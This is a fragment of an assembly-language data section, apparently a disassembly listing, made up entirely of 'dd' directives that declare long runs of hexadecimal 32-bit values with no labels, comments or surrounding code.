		dd 3C62FCA2h, 0B82740A7h, 0C16004A6h, 19EB26Ch,	0B3684802h
		dd 0D25F6592h, 4FCC100Bh, 81506234h, 387221C2h,	0C9D544h
		dd 0F801BDF7h, 0AB20F124h, 707BB500h, 0C8CDFE9Eh, 9CACA5h
		dd 7336FA46h, 0F2F4F72Bh, 6F7848E2h, 0CA0DD01Fh, 260E5383h
		dd 20A04F18h, 0EDD3CB18h, 4E03D57Fh, 4B805F0Ah,	0D4A3E59Ah
		dd 0F3699803h, 0B916AA49h, 84310858h, 0BC326AB3h, 36B13101h
		dd 7D2E82BEh, 9322C0h, 0AD1AE797h, 11352842h, 25604B4Dh
		dd 0EE0CA0B5h, 7D3686h,	4377B28h, 5DC1EDDFh, 8CD28B4Ah
		dd 4248C685h, 8DBB8B5Ah, 8C6C20A2h, 0E802DBD0h,	0D6275259h
		dd 500F7865h, 5612E054h, 6BA30CCFh, 0E030B8FAh,	0C402F4DFh
		dd 13BFB5FEh, 71458ABh,	0F07217CFh, 0F47002F8h,	6A60F87Ah
		dd 0FE312459h, 4570BFF2h, 404CF25h, 43454074h, 458AE061h
		dd 78CAF8A9h, 6238128h,	7AE0E8D1h, 0E3D71F59h, 2514029Eh
		dd 2490FDB3h, 11057E77h, 0F62D5849h, 2EC09894h,	6F010CCh
		dd 0F2995A9Ah, 3C08D8C4h, 93FDE80Ah, 0CA1482E6h, 0A3EE3C68h
		dd 0B5776205h, 38E06185h, 0D2E08B04h, 59F454EBh, 34A6F82Eh
		dd 0B940FFC4h, 3ABE802Ch, 0D85E59D6h, 9409CF49h, 682B008Ch
		dd 41162C02h, 6099A3Ah,	59A61CF0h, 226480E0h, 8252B99Eh
		dd 42533B03h, 0B0F7C8CEh, 496275F4h, 320E202Ch,	0D053104Ch
		dd 0E3BCDD1Ch, 48304A00h, 0AA5B4976h, 3C1200BBh, 0D1726A2Eh
		dd 4A4C9E6Eh, 7CCF801Ch, 454E2Fh, 9C9785C1h, 9A78F9C2h
		dd 0FDEB4A12h, 240024B7h, 0D552C44Bh, 0BD00E958h, 0F44FB54Eh
		dd 9CE705Dh, 16894421h
		dd 9009B88Bh, 5942F0E4h, 98649D25h, 0DA6FBB04h,	0A7A80C72h
		dd 0AA808C13h, 5844E012h, 805296ECh, 0D9F2A514h, 991B5D30h
		dd 264DA933h, 485C51BEh, 137F0018h, 0B5AAC337h,	48019978h
		dd 0AE598CA6h, 352A1F56h, 589CD1A0h, 5040140Dh,	0DA307DC8h
		dd 205F804h, 35B910A9h,	0EB244D47h, 588614A9h, 2F5808ACh
		dd 0E0138720h, 1C0125C8h, 2165B9D7h, 839C2D98h,	0F1F245CAh
		dd 6C36E9E2h, 32DC4800h, 0C9FFF7A3h, 948FE300h,	7EFC74ACh
		dd 0B33061Ah, 51DE1888h, 2595EE22h, 30EE2991h, 0C24E0098h
		dd 5FAB3098h, 1AC2521h,	0E04162DCh, 73B8416Ah, 8974786Dh
		dd 79B8E8E8h, 69C20031h, 0E2225296h, 8630830Eh,	0F8EB697Bh
		dd 7CCA5113h, 120A93F4h, 0B1420809h, 0F426E8h, 797719A2h
		dd 0E5BBFC5h, 178DAD02h, 8F92D740h, 0F4BACB88h,	0BBDB9404h
		dd 78B6F8A5h, 54C54D25h, 4A629207h, 0C8DD4BF0h,	6115009Bh
		dd 4C7F36Fh, 0B08176FBh, 4C013C77h, 6414A149h, 0F07761h
		dd 0C865A2A3h, 185B97A7h, 0D86B4822h, 404B81C3h, 28880864h
		dd 1D5829ABh, 9E289C0h,	6461BC98h, 462C7201h, 0B502DB0Ah
		dd 16E9FCE8h, 0C89BFA17h, 0F700F09Ch, 31872640h, 1FE1CFh
		dd 922164C9h, 0AC067351h, 0E4304309h, 4D78C8B2h, 0F90A2535h
		dd 0A8C10CEAh, 6ED4E470h, 7BC368A2h, 721B8C90h,	4DE11501h
		dd 795014A0h, 7D4C212Fh, 165810E9h, 93ACB6F2h, 807CA27Fh
		dd 0BCA09AC2h, 0C8F80E02h, 0CC804D65h, 516E5FA7h, 63AB99C0h
		dd 9910EE43h, 9468A504h, 0FA886D80h, 0F1CF4517h, 80B8798Ah
		dd 7060AA0Ah, 0FCC82C41h, 0C782C038h, 8D027E05h, 3D14336Dh
		dd 80D871DAh, 51574A99h, 461C1D79h, 9D828C5Fh, 44BAB192h
		dd 4F531CD0h, 8468845Dh, 0D9508C4Bh, 83E090A0h,	8A326107h
		dd 330E116h, 4A6D8629h,	71A0D125h, 68402EE9h, 78DF2DE2h
		dd 3B7F00BBh, 6705A08h,	0C64AE4F8h, 4B6D898h, 157AEFA1h
		dd 5EDC14E7h, 5BB04862h, 2FA28124h, 0D1D911D7h,	8702125h
		dd 380BF994h, 38B1164Ch, 43C6294h, 4832AA01h, 4E9C92B5h
		dd 0EC807865h, 403FE37Ch, 1A363D87h, 0E2935084h, 5CC24A2Fh
		dd 11DE02Ch, 0FCC63022h, 0ED69FE19h, 0BB7DB109h, 1A281092h
		dd 0D493025Bh, 6021A650h, 240298FBh, 0C07A612Ah, 138D405h
		dd 987F6E14h, 2D843082h, 0C4F1174h, 5DA87801h, 4CB9646Eh
		dd 0EE02CBE0h, 5BD56637h, 4C804450h, 1C8044B5h,	5A95301Fh
		dd 0B12BDF26h, 0C9B11504h, 285F40A9h, 7D722D80h, 0D50B8398h
		dd 1B96E8h, 0F3DBDC48h,	0C04094AEh, 0F9F16880h,	0B434BD01h
		dd 0CAAEC010h, 58A1ECh,	9771DAC9h, 4FA92203h, 0FB132CB9h
		dd 0B221A820h, 0B6FA1A38h, 0B80B109Bh, 0B25FA898h, 7E492600h
		dd 6BD24C3Eh, 524B12C7h, 0F694526Ah, 0FC304E78h, 0BAE01C3h
		dd 856CD47Eh, 6173DC81h, 7889FAF8h, 416DEC06h, 475D5400h
		dd 7FBEAB12h, 7CF0990h,	0F459986Ch, 7D90D8ABh, 9CF98C8h
		dd 48401293h, 4BBC7100h, 0FE1C02F8h, 78E6194Ch,	88F5C200h
		dd 7291696Fh, 80D003EAh, 0B4BFAE60h, 0C8DCD3A8h, 0CA3042F3h
		dd 0B094F05Ah, 9E82040h, 0D12A2DA4h, 0FFEE3822h, 2E42FE20h
		dd 0B0C9113h, 6C102BEFh, 152D3786h, 0B64A194h, 506D26EEh
		dd 0C84BE058h, 6600F48Ch, 6D3F21B4h, 0FA5B42h, 158946BDh
		dd 1EDC99F2h, 0FB5838C7h, 4A3FC20h, 0A0625137h,	0CA2C622Fh
		dd 8D5B3220h, 22DC902Ch, 4344B2EDh, 0A400244h, 0CB72BC19h
		dd 8D2C069h, 8720881Ah,	56FD4400h, 9B0133C8h, 2EB28F6h
		dd 2F904580h, 0BD0C4820h, 0A1F900C3h, 83BE9DCBh, 63D017Bh
		dd 455215Dh, 0F2022791h, 38FE2F2Ch, 0C11E21F0h,	64C46221h
		dd 3F48406Bh, 0F4EEEAE4h, 0BA4EC001h, 0FC982308h, 0E19DB852h
		dd 0FE109254h, 3C2D99A1h, 0F1C092FBh, 95980018h, 0A8BFE142h
		dd 48A04D70h, 0B197FDCDh, 4C627E58h, 1C6200D3h,	0E75B278Ch
		dd 0EF56C600h, 43E4C5A2h, 0FB60924Ch, 913C612Eh, 129C7360h
		dd 28A4E7A1h, 371B4527h, 0D1630190h, 94AA8B2h, 10131052h
		dd 0B29D84BBh, 4448FA94h, 80002A0Dh, 0F9C23D81h, 39B53233h
		dd 0F2813A3Fh, 543B4CB1h, 22C4291Dh, 4F8B0090h,	47BBB42Ch
		dd 0C4030C79h, 9B13DBBCh, 4DB12921h, 805A1048h,	11C54325h
		dd 4F4CB884h, 0CFAC98C9h, 8D47CA07h, 0D9C09883h, 0F290E4DAh
		dd 0FA40C545h, 4BB0F610h, 0D7CD9420h, 16FD3046h, 50362281h
		dd 94324A89h, 77CEB500h, 7CADE561h, 2ED17D00h, 90B1391Dh
		dd 773E2AFh, 0FB3521AAh, 0B980086Bh, 0E4EB4166h, 16E89E01h
		dd 96482219h, 86814428h, 1CF89DE5h, 0AFB4602Eh,	2053D54h
		dd 0D8888616h, 0C6B410C0h, 385D25C8h, 0FC13A448h, 0AC201D41h
		dd 4CD940E6h, 9A000099h, 0A549E297h, 0B21D038Bh, 36CFF425h
		dd 72D3EDA8h, 0E90D58C2h, 60B45CAAh, 0AEC3F87h,	0E04CB49Eh
		dd 4E37880Eh, 49DFDB00h, 81A5DC6Ch, 87C002A0h, 3B9CAEC1h
		dd 34942C56h, 30498AA8h, 0F94A6607h, 8AC67A80h,	9D10006Ah
		dd 50A5F235h, 0E705068Dh, 0E5765369h, 0D1C964A8h, 8AF344B0h
		dd 76430C3Ah, 88CBB100h, 64E5037Dh, 7CD8F68Fh, 0B7D4FFEFh
		dd 0A43E1C61h, 40874193h, 0F4441E76h, 20A0B8E6h, 8DE332Eh
		dd 5C424EDDh, 60EAA082h, 7BBB6DE6h, 0D6CC1EDBh,	934303F2h
		dd 0EEBB4A02h, 0D482611Dh, 6A28CBFh, 0E30B5861h, 0C0F56312h
		dd 0E48DAB42h, 0ADAF1FAAh, 10570CF6h, 378805C0h, 61FA0C45h
		dd 0C100FF0h, 61EB8D31h, 26D092FCh, 1090616Ch, 88476DF3h
		dd 6033FE68h, 5606D16Bh, 6012E118h, 50446619h, 40961C72h
		dd 4452946h, 68EC6891h,	11321C50h, 0CB14A2FDh, 8B811EAh
		dd 6E331B63h, 98C86193h, 1B0ACBB9h, 0C48B462Dh,	0E8E16303h
		dd 5BF9202Fh, 3D8C3818h, 0C1F1D869h, 0CD265359h, 2994EC27h
		dd 0C784E203h, 11F66123h, 0A97369h, 0B157A004h,	0CAE9E6Fh
		dd 2628EF96h, 7E031151h, 528D3C39h, 7DCBF093h, 0B79502F6h
		dd 0AE665527h, 0E68C7420h, 0E19D2A97h, 320C67Ch, 670069A8h
		dd 2D9CD409h, 0CC789C6h, 0E2D665B3h, 2200C1B1h,	6CEBA78Ch
		dd 30111550h, 7D49478Bh, 5E03108Dh, 8AEC6638h, 3B190008h
		dd 5EE6B59h, 2F00DA7Ah,	0FBD1A918h, 3078337Fh, 3828447Eh
		dd 0D1C00DE3h, 9314641Bh, 0AD5202E7h, 8F53920Ch, 1211D091h
		dd 0BF80902Eh, 5AC601D8h, 0DB8805E8h, 0BE33C0C1h, 2844BC00h
		dd 9174EBE2h, 60267261h, 8838E995h, 0C8A9F66Ch,	0C82213E4h
		dd 385BBA7h, 897FCAEBh,	0DDD0A82Eh, 3800B010h, 94123359h
		dd 3D7CE378h, 0D918EC67h, 9663893Ah, 0A6D2F00Ch, 4410788Bh
		dd 90446F77h, 0EA2F1271h, 0C614423Eh, 0C4442B19h, 5AEF1813h
		dd 51413C1Ch, 871CB3EBh, 98B897C0h, 0B0A0C2Dh, 8A484635h
		dd 7E841054h, 5CF4A600h, 0B23A47EBh, 727A092Bh,	45809109h
		dd 0E07B623Fh, 0A7DFC00Dh, 39B99075h, 84250783h, 0E0A7BA45h
		dd 3619390Fh, 684B8828h, 31108C00h, 0A8F06E37h,	0B3BE027Eh
		dd 946B3339h, 0B0590520h, 45F0018Bh, 104B8EC9h,	5F982039h
		dd 0C15B88h, 0FBDF7571h, 37C438EBh, 948230A2h, 0F7818E9Fh
		dd 0B8854D30h, 27FF0748h, 2390698Fh, 8D0862h, 0AAB66393h
		dd 0F9D6E009h, 7C12A679h, 64602AE1h, 0A8610AFFh, 24B50CA8h
		dd 841C8EE0h, 4854BE2Ah, 7825803Dh, 86FEBCB9h, 33E45D00h
		dd 0EA2C1E34h, 5FEC0170h, 0A4F8E84h, 0E0243012h, 0A5FF5404h
		dd 20C8D676h, 446B00BAh
		dd 5806F665h, 78038E59h, 81F3AA61h, 2C77E984h, 48389024h
		dd 88070C1h, 8F752970h,	64ACE026h, 0CA6DB301h, 78336433h
		dd 0E1B16602h, 2E233729h, 57410038h, 0B12203DCh, 9C139071h
		dd 14206B44h, 3FAD8005h, 61E02963h, 8C35C55Eh, 10435904h
		dd 68004485h, 6A272BAEh, 0EF51331Eh, 0FCB84E03h, 42D3F2h
		dd 29240569h, 9497B915h, 0C44EA200h, 20349001h,	426E0F23h
		dd 0DD9C2960h, 0ADF7C0BEh, 0DF2CCF45h, 31EBFBE6h, 0E5D0F4D0h
		dd 8A0D931Fh, 0C4368B44h, 4040F48Dh, 0A6FB10E1h, 0B48880DCh
		dd 0BA360121h, 54A905B6h, 31824F7h, 2CC12060h, 5AF15Ch
		dd 28A23A5Fh, 52B55E80h, 44A14502h, 802908B9h, 7CCA3964h
		dd 0FAC80082h, 9F5981C9h, 0BA0153FFh, 988B1EFCh, 4C628755h
		dd 0CED93A00h, 1D90CC7Ch, 2154F74Ch, 0DD8D906Bh, 0A60C8F85h
		dd 10425C89h, 595C4488h, 28994C63h, 25E611ECh, 0B30C5C23h
		dd 0D2613D03h, 808AEE3Fh, 85920EADh, 0A38C2h, 58C3BDD5h
		dd 0B590AB35h, 4C79763Fh, 785A2CB4h, 507A14h, 78139805h
		dd 24AD7C17h, 4334146Dh, 0B9003C2Eh, 540FBA72h,	0F0F19856h
		dd 2396001Eh, 3AE85104h, 0C5018895h, 0E0D09CC3h, 0A9856326h
		dd 802B032h, 0A8A44BE0h, 963D9011h, 949F9B89h, 320248Ch
		dd 5C26E8C4h, 1D7D6340h, 9B0C4DF0h, 2810395Bh, 0FFB8C235h
		dd 0E86427EFh, 5C1F5D0Bh, 958881AEh, 35EC6FF9h,	0C81E003Eh
		dd 0FC365EAh, 84B04B02h, 33E23611h, 19C08058h, 35183E03h
		dd 3F293C1Eh, 0C6C12100h, 3DBA2A1Ch, 0BAF9FB3Ah, 11A3200Ch
		dd 49142E31h, 4630A76Ch, 0A29C0F4Eh, 0DD40B0AEh, 1F719209h
		dd 77264609h, 26EC2F45h, 40188F32h, 1E9DB60h, 0F980368Ah
		dd 86C5B704h, 8400BC34h, 0C1C04971h, 0DEF480h, 8FD6AF3Eh
		dd 0B7643DA9h, 88379B0Ch, 247D890Eh, 60C8F094h,	0FB1E1B38h
		dd 0B6B30900h, 7A156389h, 463E1CCBh, 21C40199h,	6043B488h
		dd 0B0B5D6Ch, 99471F29h, 8700F868h, 0E8073C17h,	0D864A77Eh
		dd 5615B680h, 0A5B7038Fh, 0AB3AF6D9h, 0C903CFA7h, 19008ABFh
		dd 56DEA8E4h, 0DA7419h,	154F5F25h, 376720Bh, 34064C90h
		dd 0B288607Dh, 9C871830h, 636649B9h, 0C4916500h, 725A74A0h
		dd 0A7CF0C40h, 0F380D724h, 0C97DC306h, 0C309E3Fh, 0B458A2A5h
		dd 4B3C1749h, 0AE5718A7h, 80DA1659h, 6B00121Eh,	43BE3FC1h
		dd 8FD769h, 28B85B3Dh, 0A911D78h, 61822006h, 0C98EBEh
		dd 0E539ED5Ch, 0BD50DCCBh, 0F85570A0h, 80FFF33Eh, 0E9F1099Bh
		dd 72B885h, 513EE3B3h, 1DB62084h, 3DCA240Ch, 0F9C0A9A9h
		dd 581E4183h, 97F07766h, 0B80A2662h, 689A2AC9h,	86C07608h
		dd 19D621C6h, 4424D03Ah, 0BC2B1F8Dh, 0D3AD8005h, 0A9BE3CA7h
		dd 21BF5B31h, 4E304BAFh, 0CFB41D3Dh, 0C274017Dh, 41A0CC0Eh
		dd 12AE6198h, 5B5080C3h, 0A099DAh, 0E69C2EB9h, 0EC4605B5h
		dd 5ED2D912h, 0A829F418h, 5C8C00B8h, 335D61CBh,	0A100177Fh
		dd 1679F7DAh, 7F61315h,	88F91DE2h, 9FECDA3Bh, 1F94C025h
		dd 0AC806139h, 0A7A02300h, 1A3AD4EBh, 0F7E107E8h, 70BA345Ch
		dd 0D0A1C0B6h, 1514D50Ah, 0F6419C59h, 51BEA03Dh, 19985498h
		dd 771E16C4h, 64CADF8Bh, 0A318FCD3h, 9EBE29h, 6A6B650Fh
		dd 0F9A24077h, 0AA9FD018h, 1581321h, 2D8B6926h,	40BF9C82h
		dd 2322F958h, 6785D00h,	0E2C9BA3Bh, 0CFD13F7Eh,	7B4BB2Ah
		dd 278976F9h, 3BB0C0B3h, 0C00297B4h, 0E4743E28h, 70B88C03h
		dd 0A12220C6h, 670BA500h, 7D5CD205h, 80900ABh, 0D3AC412Dh
		dd 583333F6h, 0B84528D5h, 7C8F407h, 83D7EF7h, 644F5FFAh
		dd 0C3990481h, 915192A8h, 1BBD8E00h, 0DC9D1h, 835867FBh
		dd 2D29AA36h, 8A11A701h, 0C10FA2ABh, 3CC6B98Dh,	0DECDE069h
		dd 59AB7E01h, 0D8FC40F7h, 0F2F8E824h, 507A93h, 4672965Dh
		dd 0BE92B57Dh, 7EBCD854h, 8FE22602h, 0C054E34Ah, 7B0CC8DCh
		dd 307148DCh, 16104E80h, 48C04BABh, 7E6D6EFFh, 31272AC9h
		dd 8CC030E0h, 50679B51h, 0E0914601h, 65080AB0h,	1C12FC8h
		dd 0E3AC8E0Bh, 331E160Ch, 8E3F2140h, 8C60A795h,	4B1949E7h
		dd 0EC009378h, 875FA5C3h, 557F588h, 26F918D7h, 0FE8447BDh
		dd 30864722h, 0AE9A0FDAh, 11CB300h, 81A61817h, 293900ACh
		dd 0D41A5CA1h, 8C0016A7h, 0B852A833h, 0FB910F3h, 2070F7EDh
		dd 53698Fh, 0C9FE8B40h,	0B0A8922Bh, 971D93D1h, 0B6191B15h
		dd 20222478h, 0B750076h, 4F8765Dh, 0EE0EE060h, 0D235AC6Fh
		dd 0B858EC1Ch, 0EA43E1h, 0F88B4FADh, 8945AB96h,	126E20C8h
		dd 7ED030B6h, 271D5B0h,	64316B00h, 0E8FA8E83h, 15C9718Dh
		dd 0FC869921h, 41F30500h, 0C2C18A7Ch, 1241A760h, 3F514F3Dh
		dd 7D009AD4h, 0DE9CC5F6h, 0B402E36Fh, 3B26E289h, 2BF0A7C8h
		dd 0BA822E50h, 603EFC8Bh, 0EDECB1A4h, 0BC60A77Dh, 0DE744711h
		dd 5CB132B3h, 0E02FA218h, 0EACE3178h, 0FA2B051Fh, 408BBE6Bh
		dd 5372EEF0h, 0D300C498h, 49EBDC18h, 0FC441Bh, 9029F6Eh
		dd 0D6F675F8h, 0D142E891h, 0FCA3880h, 60C25900h, 66E476F2h
		dd 0E58302FDh, 0CB01A772h, 0C81A9C22h, 3C3B118h, 6B4F9E38h
		dd 81B813F2h, 7D01D3CAh, 14BB3488h, 0A982DD56h,	0E58C3ADFh
		dd 62C0F849h, 32A80014h, 69077754h, 226F3D78h, 1AA47280h
		dd 0AB4C4E3Eh, 40004674h, 3AD890C7h, 93B955Dh, 0AFF77E78h
		dd 0C8C2C424h, 340010D0h, 0F97A9D88h, 502966h, 0B8BA3E9Ah
		dd 0F64A9F6Ch, 0A7851B00h, 64C9A64Bh, 0EC7E4E70h, 0BE26184Dh
		dd 392BB1E1h, 0F281DB74h, 9FBA6057h, 0DCDEE844h, 873F5099h
		dd 96CC4EB2h, 54391CF0h, 0A74040CEh, 1D00E490h,	2C3CA25Eh
		dd 0ED39C682h, 0C0F93998h, 0C1146CCAh, 3F28C2B2h, 0B67C008Eh
		dd 44E3D13Ch, 29F2E8F5h, 0CF4201Fh, 1EA1C924h, 0B2136F00h
		dd 710EB150h, 5ABB00F0h, 0F767EAABh, 28913D88h,	61D3C20Ch
		dd 288F052Eh, 9C257A13h, 0D245B590h, 7BEC90C6h,	37FF0h
		dd 0F76BC06h, 828A397Ch, 0C200B798h, 0D7131FFEh, 3DAB614h
		dd 0A5A68702h, 40C09181h, 50C2395h, 69C726E6h, 2E8A00E0h
		dd 4671863Fh, 7B00BFC0h, 0A3B84B42h, 9B9CC16h, 0C3E44177h
		dd 885D7905h, 3F0CB0D0h, 0A12FDA21h, 0CE391420h, 4680D424h
		dd 2E715C1h, 4EDC000h, 0D1E42C13h, 0D74B028Dh, 303CC9CCh
		dd 17F7A064h, 4CDE9970h, 3AE87062h, 179138Ch, 0A2614D41h
		dd 61845D12h, 875C4CA8h, 0FD8000B9h, 45B15373h,	0B0700093h
		dd 0F5F72347h, 0B5095F34h, 8107D65Dh, 0C109A260h, 623EC611h
		dd 9CD13E24h, 11B0C2B6h, 0CEC09Dh, 1849B83Dh, 0B904356Bh
		dd 5BEB7012h, 438F9448h, 4CA0DFD5h, 0E0C070DEh,	0AE03B316h
		dd 0BD4A1123h, 0ECB8028Eh, 8704FE11h, 0BC46A784h, 40170089h
		dd 58EDF01Bh, 701494C0h, 3E98EE4Bh, 379896F3h, 3BF64802h
		dd 2220E4A6h, 0A70ADE23h, 0C0D65C1Fh, 0E65DD160h, 0E8230007h
		dd 615BC2F7h, 0E52E8693h, 458150D5h, 159FE00Fh,	7A2C24h
		dd 0FB6FA0BEh, 0CBAC695h, 0CDE63FB0h, 0EBAE6E00h, 0B97DEFC3h
		dd 7CBF50DAh, 0B458032Ch, 8823D6D4h, 4EAC889Dh,	0B244A000h
		dd 8113F485h, 0E72029Ah, 0C3167D68h, 0B1071452h, 0CDB8C8C2h
		dd 17C0BEBh, 581FF5F4h,	49219063h, 0D463F200h, 48BA39B0h
		dd 8F816025h, 0FC768483h, 5600DE86h, 5C90E12Eh,	15B8196Eh
		dd 28151729h, 26895450h, 0C0421C2h, 7519DCBEh, 0E8253F76h
		dd 9300362h, 9C6115CEh
		dd 9E009011h, 89B1C1D4h, 0E0006ABCh, 0D23C1DFBh, 0EE23ED14h
		dd 60610630h, 0E1A420C9h, 6189C031h, 5EE42DE5h,	0DD660022h
		dd 99719454h, 0A8222805h, 0FEC7EA15h, 122D3FF1h, 9E228E80h
		dd 786AF5CAh, 3778D098h, 183EF62Eh, 0C8FBC061h,	2CDF60A6h
		dd 0E91D60A8h, 4503B49Eh, 481BDF9Ch, 51DD98DEh,	5D0F02F1h
		dd 21A10AD7h, 0EFB08060h, 14D6F800h, 0C6844509h, 98E62426h
		dd 24C30294h, 2CCEB9E5h, 270C1200h, 48A82E26h, 5D7E0FFAh
		dd 0EC4229A4h, 0FCE0FB4Eh, 0CD003FA3h, 63202A5Fh, 0A4CF76A8h
		dd 0C1BE62A8h, 0A5C3F7B1h, 6D35FAF0h, 0AA081E02h, 599F6BD0h
		dd 3DF680A8h, 348F9ED8h, 5E6C3E00h, 4E8B5C68h, 91387556h
		dd 6A7B8028h, 970AC1E9h, 12141F48h, 203137F7h, 0E6DE1C55h
		dd 11800F34h, 32606DFAh, 4DCE1E98h, 0EAF9B300h,	65B68ED1h
		dd 42CCB1D5h, 0A3249C95h, 24456740h, 0F304DFC0h, 0BD9BB30Fh
		dd 0DD68C8h, 28FC1401h,	0B54B2A33h, 0B88A4200h,	0BFBE4FD3h
		dd 0EC3D5468h, 1E349135h, 441C6414h, 13B8C824h,	1714738h
		dd 0B8CE38A3h, 506225C9h, 218F907h, 33044011h, 0D148FA1Eh
		dd 21F80C4Bh, 7DF141C4h, 2CF200DBh, 0A8A2E2A3h,	4229B1ABh
		dd 0C980A019h, 64F23FC4h, 4B170102h, 27C6D5F0h,	22D4322Eh
		dd 0D3E0008Bh, 5A958529h, 0BB008F40h, 0A17CA273h, 69C50DFh
		dd 0C0F806BCh, 2430C197h, 0F6B089D0h, 1D77364h,	653B9D25h
		dd 0C84A2159h, 200F9E6h, 8819B935h, 0A9D67033h,	11E22288h
		dd 165D10BEh, 0A8C900CBh, 79E5A393h, 22A9E5Ah, 0DA0068AEh
		dd 0C1C58F4Bh, 30158BACh, 0F6498054h, 0C183A437h, 99D3F545h
		dd 8C3055DDh, 301C5814h, 15DB0596h, 0D408004Fh,	0F69A376Ah
		dd 50403328h, 0B004585Ch, 0B06A5Eh, 2CE4D554h, 8804310Ah
		dd 7793EF02h, 99580340h, 18184948h, 0A9BAA109h,	0AC001003h
		dd 0C842E338h, 111C7922h, 0FB568003h, 28A9CEA6h, 270CBD76h
		dd 34201B15h, 0F7D13DA1h, 1D52112h, 12883814h, 0F80086C1h
		dd 0F23305CFh, 3DA33CF8h, 0A77DCC89h, 72E15090h, 442A451Fh
		dd 3B0A8E40h, 737A156h,	9E5ED0FAh, 0B0E14999h, 60D84B1Ch
		dd 0EC729D06h, 1E41987Bh, 2EA2BDD2h, 0AFF9306Dh, 5E01DDEAh
		dd 0C6D1F932h, 903C9F2Ah, 443C3396h, 947B03F9h,	0C26A8h
		dd 742910A1h, 26BA1980h, 4734A741h, 67F6A0DCh, 4F0F7F2Ah
		dd 0A36D887Dh, 0B2DD4B77h, 28106646h, 58C0850Eh, 1C8064BDh
		dd 5296C458h, 19167200h, 93E1C1CDh, 0AE4030F6h,	0B8F14A39h
		dd 15017EFEh, 0E97F995Eh, 0FC60BF1Bh, 42988F6h,	0CC514F00h
		dd 507AF3DDh, 15790020h, 1B4BA919h, 0ED1D1724h,	0C312720Ah
		dd 98874897h, 96D274D0h, 8CEE0003h, 0AEAA70AFh,	21011FC5h
		dd 0EDACD112h, 904C5AA9h, 383DEDECh, 714C5400h,	32FD91A0h
		dd 51F89777h, 7BCFD106h, 369D8B6h, 643DB8F9h, 49DE5AA8h
		dd 0C62B1402h, 404C78BBh, 73220103h, 8090B09Fh,	0A381C01Ch
		dd 0D367A870h, 683E4C2Fh, 39212000h, 0BD9CD438h, 0DDD894A8h
		dd 0DA2D0E00h, 8C3D4857h, 88A4BAECh, 3D3AD224h,	0AA0FB696h
		dd 0AC83F739h, 33A9C6B9h, 16B8222Bh, 0E8308323h, 5E1339h
		dd 936489B0h, 0F88B4B7Ah, 9726C918h, 3803C4A9h,	5097A213h
		dd 0D8FC37D1h, 80F8C094h, 24EB1D79h, 0B22E1D64h, 9AA8402Dh
		dd 0A21905CCh, 0AB024493h, 838A2115h, 783EC944h, 0C25802A1h
		dd 9C88E41Dh, 8DDFD480h, 349439C6h, 46442542h, 822222D0h
		dd 0AE540498h, 0DB052A98h, 47090739h, 0C5609CC7h, 9A4BA403h
		dd 7CB920h, 0BF9073D8h,	0BD3D7B1Ch, 3CE51EB0h, 39B32BC0h
		dd 0B8D358F2h, 0D05618F4h, 2E1FB1B2h, 0CA25CB02h, 5ADBC921h
		dd 0E1110480h, 0C270F379h, 6B22DE50h, 0D330602Dh, 0CC48C49Ah
		dd 0C82406B5h, 0C47F3EC9h, 0F595F481h, 63273BACh, 101B00B4h
		dd 72466958h, 0B0FE00BEh, 5A1C0E5Eh, 50C895D3h,	37D48202h
		dd 0C075C9h, 1C89D5E2h,	41239433h, 0C93FA207h, 2133FBA7h
		dd 0D0C913F3h, 50A04B5Ch, 7400E496h, 2825A057h,	0B03DE0h
		dd 3F9DDEA9h, 8F24010Eh, 68E4C302h, 0E3CB2B20h,	74A02220h
		dd 1B65FC90h, 7000C249h, 0A494B12Fh, 0C7B300B6h, 0C014C162h
		dd 0C89859ABh, 27C0F350h, 9C489081h, 0A02988C6h, 21A80B00h
		dd 8EBC28D1h, 0AD1800F6h, 0E36616EEh, 6824DFE9h, 0B880A8D4h
		dd 0EBC472F9h, 0A74512CFh, 0D4D83476h, 9880C700h, 6DC00580h
		dd 1FC45Ch, 3C23F919h, 0DE5E56B9h, 1AB30D1Eh, 40839D2h
		dd 0DDAC0814h, 0BE0FA205h, 0D422E0B2h, 367DF905h, 841FD508h
		dd 8BA4443Ah, 0FCFD6AB8h, 3516151Ch, 0FB64B40h,	34DA08h
		dd 0FB148D44h, 9A5626C3h, 7D886350h, 124410B9h,	41A49AC0h
		dd 0CF9C016Ch, 8D6ABC04h, 0FFE0C65Ch, 98282FE7h, 942FF8AFh
		dd 874C30DCh, 78500356h, 436C5123h, 53BD35C0h, 4F22ECB2h
		dd 3FF62D84h, 2458C496h, 0FA91809Ch, 451B5CDh, 0CFF9B449h
		dd 4EBC9058h, 361CB610h, 0C9843D7Dh, 88CA9C39h,	2B718300h
		dd 0DD36C434h, 3BF7D00Ah, 221E38BDh, 82EC82A2h,	59E5D34h
		dd 20E84AF5h, 611824C8h, 0D2A83DAEh, 583D6C44h,	34C64053h
		dd 0E2C12F2Bh, 0E8A200DCh, 0FB6A541Fh, 8B9003C8h, 12439ED5h
		dd 0ABEF3ED8h, 555CB900h, 0A86E34D3h, 0AF4A325Bh, 245A2551h
		dd 3CF7F90Ah, 55085CAEh, 167C8198h, 282563F3h, 2778050h
		dd 1398FA3Dh, 12B9BB4Ah, 0D0F04049h, 2015AA79h,	80B6B024h
		dd 94C0FAE5h, 1C7496DEh, 4D8204Ah, 0BFB34983h, 0DA7ACD80h
		dd 0F80458A7h, 0CF09A908h, 48C61789h, 16BE80h, 7C758622h
		dd 0DA0AE830h, 0A7258890h, 3C9403h, 3A964656h, 0A95C8FB4h
		dd 0A8D8201h, 0D4592189h, 0EEE810EFh, 24A72EB5h, 0C763E160h
		dd 3A060091h, 6C430732h, 0B1003D3Fh, 490DC22h, 1E1670C0h
		dd 1E034F2Fh, 62FC8744h, 0D9DDF061h, 2600F34Bh,	8B792D0Ah
		dd 0E3811AEh, 6E43974Fh, 0AAB260C0h, 2405942Eh,	0DC6A7E29h
		dd 7B6B00FBh, 0E2415643h, 0BD374C00h, 0AAA4F876h, 182F7226h
		dd 58309EEFh, 0C0002A70h, 1EF0BCB3h, 1E93AECAh,	40B109C7h
		dd 0CB7004C6h, 0DE48CEB8h, 2D5219D2h, 0D23041h,	3C1889E8h
		dd 78EEB300h, 0A4DBF4DCh, 0FA1D013Fh, 8D9C142Ah, 2FC08325h
		dd 0E8274C06h, 1C878BAh, 8AD96ABh, 87198444h, 3671159h
		dd 0D00D9BB0h, 3A541D60h, 0D4788774h, 9453E082h, 1C15E977h
		dd 8CF4AEh, 0C942CF4Fh,	2E9662h, 14FF71CCh, 0FE2382AFh
		dd 77E2BB06h, 1B12FEFh,	7A94645Ch, 807914E1h, 74B5B799h
		dd 0F4575Bh, 938A12E0h,	1CD0673Fh, 9C7CF9E3h, 31B01628h
